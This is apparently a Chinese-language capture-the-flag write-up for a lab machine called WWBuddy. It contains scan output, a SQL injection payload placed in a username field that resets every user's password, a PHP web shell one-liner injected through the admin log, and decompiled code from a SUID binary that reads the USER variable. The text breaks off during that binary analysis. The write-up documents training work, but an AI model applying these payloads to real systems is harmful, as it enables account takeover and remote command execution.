WWBuddy
端口扫描
root@ip-10-10-77-80:~/wwbuddy# nmap -sTCV -p 22,80 --min-rate 1000 10.10.32.243
Starting Nmap 7.60 ( https://nmap.org ) at 2023-10-06 01:50 BST
Nmap scan report for ip-10-10-32-243.eu-west-1.compute.internal (10.10.32.243)
Host is up (0.00011s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 66:75:21:b4:93:4a:a5:a7:df:f4:01:80:19:cf:ff:ad (RSA)
| 256 a6:dd:30:3b:e4:96:ba:ab:5f:04:3b:9e:9e:92:b7:c0 (ECDSA)
|_ 256 04:22:f0:d2:b0:34:45:d4:e5:4d:ad:a2:7d:cd:00:41 (EdDSA)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Login
|_Requested resource was http://ip-10-10-32-243.eu-west-1.compute.internal/login/
80
root@ip-10-10-77-80:~/wwbuddy# gobuster dir -u http://10.10.32.243/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.32.243/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
2023/10/06 01:50:59 Starting gobuster
===============================================================
/images (Status: 301)
/login (Status: 301)
/register (Status: 301)
/profile (Status: 301)
/index.php (Status: 302)
/header.html (Status: 200)
/admin (Status: 301)
/footer.html (Status: 200)
/chat.php (Status: 200)
/js (Status: 301)
/api (Status: 301)
/logout.php (Status: 302)
/config.php (Status: 200)
/styles (Status: 301)
/change (Status: 301)
/server-status (Status: 403)
===============================================================
2023/10/06 02:03:35 Finished
===============================================================
访问登陆页面, 并且可以注册一个账号, 在注册之后进行登陆, 我发现其中类似于聊天界面
在此经过一些分析操作, 我还以为是 IDOR 漏洞, 因为查看源代码就会发现其中每个用户都是使用一个 uid 来进行操作, 但是可惜对应的 uid 无法破解, 只能转换思路, 我发现存在修改用户名称以及修改用户密码的界面, 所以我就想着联动一下
- 修改用户名为 WWBuddy 发现不能操作
- 修改用户名为
‘or 1=1 — -
发现可以这样做, 之后修改用户的密码, 如果后端措施做的不严格那么应该会修改所有用户的密码, 结果如我所料确实修改了所有用户的密码
在登陆Henry 的界面后, 我发现多个几个用户, 其中在和 Roberto 用户的聊天中告诉我们服务端创建的账号默认密码是其用户的生日, 但是我们目前掌握的用户其密码都已经被修改了, 只能另寻他法, 之后我访问 admin 界面发现其是一个访问拦截记录界面, 会记录用户名称, 所以我们可以将用户的名称改为 PHP一句话进行操作
<?php system($_GET['cmd']); ?>
修改之后我 再次查看页面并进行传参发现可以执行
后渗透
www-data
利用上面发现的文件包含来进行命令注入从而获取 Shell
www-data —> roberto
使用 Linpeas 进行枚举在其末尾发现一个密码泄露
经过验证这就是我们的 roberto 用户的密码
roberto —> jenny
在用户 roberto 的家目录进行枚举时发现一个文件, 其中告诉我们 jenny 在下周就是 26 岁生日, 结合我们之前的信息, 用户的默认密码是其生日, 基于创建此文件的创建日期我就开始了逆推, 最终得到其生日为 08/03/1994
使用得到的生日作为用户 jenny 的密码进行登陆发现可以
jenny —> root
在之前进行 linpeas.sh 枚举时我们就会发现一个未知的 SUID 程序
如果你尝试执行你会发现用户 jenny 的当前用户组发生了变化, 我们将其下载到本地进行逆向分析 , 得到如下源代码
undefined8 main(void){
__uid_t __uid;
int iVar1;
char *__src;
long in_FS_OFFSET;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined4 local_20;
undefined local_1c;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
__uid = getuid();
if ((int)__uid < 1000) { # 检查当前用户的 uid 是否大于 1000
puts("You need to be a real user to be authenticated.");
}
else {
iVar1 = system("groups | grep developer");
if (iVar1 == 0) {
puts("You are already a developer.");
}
else {
__src = getenv("USER"); # 获取环境变量 USER 的值
__uid = getuid();
setuid(0);
local_48 = 0x20646f6d72657375;
local_40 = 0x6c6576656420472d;
local_38 = 0x207265706f;
local_30 = 0;
local_28 = 0;
local_20 = 0;
local_1c = 0;
strncat((char *)&local_48,__src,0x14); # 它将从 __src 指向的源字符串中将最多 20 个字符连接到 local_48 变量所指向的位置
system((char *)&local_48); # 执行命令
puts("Group updated");
setuid(__uid);
system("newgrp developer");
}
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
经过分析我得出如下结论:
- 用户的 uid > 1000
- 从环境变量中获取的 USER , 长度限制 20 字符